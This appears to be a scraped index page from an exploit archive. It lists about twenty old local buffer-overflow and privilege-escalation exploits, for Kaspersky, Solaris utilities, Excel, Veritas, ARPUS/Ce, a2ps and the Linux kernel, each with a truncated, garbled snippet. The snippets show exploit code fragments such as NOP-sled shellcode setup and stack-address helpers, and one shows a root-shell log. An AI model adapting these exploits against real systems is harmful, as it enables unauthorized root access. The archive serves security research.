Kaspersky Internet Security 6.0.0.303 - IOCTL KLICK Local Overflow Local Privilege Escalation

Kaspersky Internet Security 6.0.0.303 - IOCTL KLICK Local Overflow Local Privilege Escalation //////////////////////////////////// ///// AVP Kaspersky //////////////////////////////////// //// FOR EDUCATIONAL PURPOSES ONLY //// Kernel Privilege Escalation 2 //// Exploit //// Rubén Santamarta ////...

Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit

No description provided by source. include stdio.h include unistd.h / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl...

Solaris 2.5 / 2.5.1 getgrnam() Local Overflow Exploit

No description provided by source. include stdio.h include sys/types.h / getgrnam function overflow. works against Solaris 2.5/2.5.1 SPARC default offset should work. Pablo Sor, Buenos Aires, Argentina. [email protected] / uchar shell =...

Solaris 7 / 8-beta arp Local Overflow Exploit

No description provided by source. / arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax";...

Dr.Web Antivirus 4.33 (LHA long directory name) Local Overflow Exploit

Exploit for linux platform in category local exploits ====================================================================== Dr.Web Antivirus 4.33 LHA long directory name Local Overflow Exploit ====================================================================== / stetoscope.c: Dr.Web 4.33...

Microsoft Excel Unicode Local Overflow Exploit PoC

Exploit for unknown platform in category dos / poc ================================================== Microsoft Excel Unicode Local Overflow Exploit PoC ================================================== excelsexywarez.pl excel unicode overflow poc by kcope in 2006 thanks to revoguard and alex us...

Microsoft Excel - Unicode Local Overflow (PoC)

Microsoft Excel - Unicode Local Overflow PoC excelsexywarez.pl excel unicode overflow poc by kcope in 2006 thanks to revoguard and alex use Spreadsheet::WriteExcel; my $workbook = Spreadsheet::WriteExcel-new"FUCK.xls"; $worksheet = $workbook-addworksheet; $format = $workbook-addformat;...

Microsoft Excel - Unicode Local Overflow (PoC)

excelsexywarez.pl excel unicode overflow poc by kcope in 2006 thanks to revoguard and alex use Spreadsheet::WriteExcel; my $workbook = Spreadsheet::WriteExcel-new"FUCK.xls"; $worksheet = $workbook-addworksheet; $format = $workbook-addformat; $format-setbold; $format-setcolor'red';...

Cray UNICOS usrbinscript - Command Line Argument Local Overflow

Cray UNICOS usrbinscript - Command Line Argument Local Overflow source: https://www.securityfocus.com/bid/16205/info Cray UNICOS is prone to locally exploitable buffer overflow vulnerabilities. These issues are due to insufficient bounds checking of command line parameters in various utilities wi...

Veritas Storage Foundation 4.0 - VCSI18N_LANG Local Overflow

Veritas Storage Foundation 4.0 - VCSI18NLANG Local Overflow !/usr/bin/perl -w Veritas Storage Foundation 4.0 http://www.digitalmunition.com kf kflistsatdigitalmunitiondotcom - 08/19/2005 This bug has not been patched as of: Q14438H.sf.4.0.00.0.rhel3i686.tar.gz Make sure you don't get your sploits...

Veritas Storage Foundation 4.0 VCSI18N_LANG Local Overflow Exploit

Exploit for linux platform in category local exploits ================================================================== Veritas Storage Foundation 4.0 VCSI18NLANG Local Overflow Exploit ================================================================== !/usr/bin/perl -w Veritas Storage Foundatio...

Veritas Storage Foundation 4.0 VCSI18N_LANG Local Overflow Exploit

No description provided by source. !/usr/bin/perl -w Veritas Storage Foundation 4.0 http://www.digitalmunition.com kf kflistsatdigitalmunitiondotcom - 08/19/2005 This bug has not been patched as of: Q14438H.sf.4.0.00.0.rhel3i686.tar.gz Make sure you don't get your sploits from some Frenchie at...

Apache HTTP Server <= 1.3.33 htpasswd Local Overflow Vulnerability

The remote host appears to be running Apache HTTP Server 1.3.33 or older. There is a local buffer overflow in the SPDX-FileCopyrightText: 2004 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

Sendmail 8.7.x, 8.8.x - 8.8.2 Local Overflow Vulnerability

The remote sendmail server, according to its version number, allows local user to start it in daemon mode and gain root privileges. SPDX-FileCopyrightText: 2003 Xue Yong Zhi Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

ARPUS/Ce Local Overflow Exploit (setuid) (perl)

Exploit for linux platform in category local exploits =============================================== ARPUS/Ce Local Overflow Exploit setuid perl =============================================== !/usr/bin/perl -w Setuid ARPUS/ce exploit by KF - kflistsatdigitalmunitiondotcom - 4/21/05 Copyright...

ARPUSCe - Local Overflow (setuid) (Perl)

ARPUSCe - Local Overflow setuid Perl !/usr/bin/perl -w Setuid ARPUS/ce exploit by KF - kflistsatdigitalmunitiondotcom - 4/21/05 Copyright Kevin Finisterre kfinisterre@threat:/tmp$ ./ceex.pl sh-2.05b id uid=0root gid=1000kfinisterre groups=20dialout,24cdrom,25floppy,29audio,44video,1000kfinisterre...

ARPUS/Ce - Local Overflow (setuid)

!/usr/bin/perl -w Setuid ARPUS/ce exploit by KF - kflistsatdigitalmunitiondotcom - 4/21/05 Copyright Kevin Finisterre kfinisterre@threat:/tmp$ ./ceex.pl sh-2.05b id uid=0root gid=1000kfinisterre groups=20dialout,24cdrom,25floppy,29audio,44video,1000kfinisterre 57 bytes long $sc = "\x90"x512; $sc ...

GNU a2ps - Anything to PostScript Not SUID Local Overflow

GNU a2ps - Anything to PostScript Not SUID Local Overflow / Not added to Local Non Poc section /str0ke / include include include // by lizard / lizstyleatgmail.com // greets go to slider/trog for helpin me // not suid by default ; define VULNTHING "/usr/bin/a2ps" define DEFRET 0xbffffffa - strlen...

GNU a2ps - Anything to PostScript Not SUID Local Overflow

/ Not added to Local Non Poc section /str0ke / include include include // by lizard / lizstyleatgmail.com // greets go to slider/trog for helpin me // not suid by default ; define VULNTHING "/usr/bin/a2ps" define DEFRET 0xbffffffa - strlensc - strlenVULNTHING define xnullbitch 1100 //im not a asm...

Linux Kernel <= 2.6.9, <= 2.4.28 ip_options_get Local Overflow

Exploit for linux platform in category dos / poc ============================================================== Linux Kernel include include include include include include include include include int mainint ac,char av struct msghdr msghdr; struct iovec iovector10; int i,s; struct sockaddrin...